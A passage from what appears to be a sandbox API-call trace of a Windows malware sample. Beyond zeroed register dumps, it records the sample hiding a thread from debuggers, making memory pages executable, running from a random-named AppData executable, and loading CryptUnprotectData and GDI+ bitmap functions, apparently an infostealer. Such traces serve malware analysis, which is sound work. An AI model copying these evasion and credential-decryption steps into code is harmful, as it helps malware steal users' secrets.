[38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0131.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1a6fed, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0131.362] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x1ee5004 | out: Context=0x1ee5004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0131.369] NtSetInformationThread (ThreadHandle=0x598, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0131.370] Sleep (dwMilliseconds=0x800) [0134.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1a3032, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0134.154] TerminateThread (hThread=0xfffffffe, dwExitCode=0x0) Thread: id = 58 os_tid = 0xdb0 Thread: id = 59 os_tid = 0xdb4 Thread: id = 60 os_tid = 0xdb8 Thread: id = 61 os_tid = 0xdbc Thread: id = 62 os_tid = 0xdc0 Thread: id = 63 os_tid = 0xdc4 Thread: id = 64 os_tid = 0xdc8 Thread: id = 65 os_tid = 0xdcc Thread: id = 102 os_tid = 0xde0 [0131.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.479] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0131.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.580] GetKeyboardType (nTypeFlag=0) returned 4 [0131.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.589] GetCommandLineA () returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" [0131.589] GetStartupInfoA (in: lpStartupInfo=0x1e7dfefc | out: lpStartupInfo=0x1e7dfefc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0131.589] GetVersion () returned 0x1db10106 [0131.589] GetVersion () returned 0x1db10106 [0131.589] GetCurrentThreadId () returned 0xde0 [0131.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.679] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x75a70000 [0131.679] GetProcAddress (hModule=0x75a70000, lpProcName="CryptUnprotectData") returned 0x75aa5a7f [0131.683] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x415000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x417000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0131.884] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0132.084] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0132.084] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.753] GetProcAddress (hModule=0x74820000, lpProcName="GdiplusStartup") returned 0x74845600 [0132.759] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.761] GetProcAddress (hModule=0x74820000, lpProcName="GdiplusShutdown") returned 0x748456be [0132.762] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.762] GetProcAddress (hModule=0x74820000, lpProcName="GdipCreateBitmapFromHBITMAP") 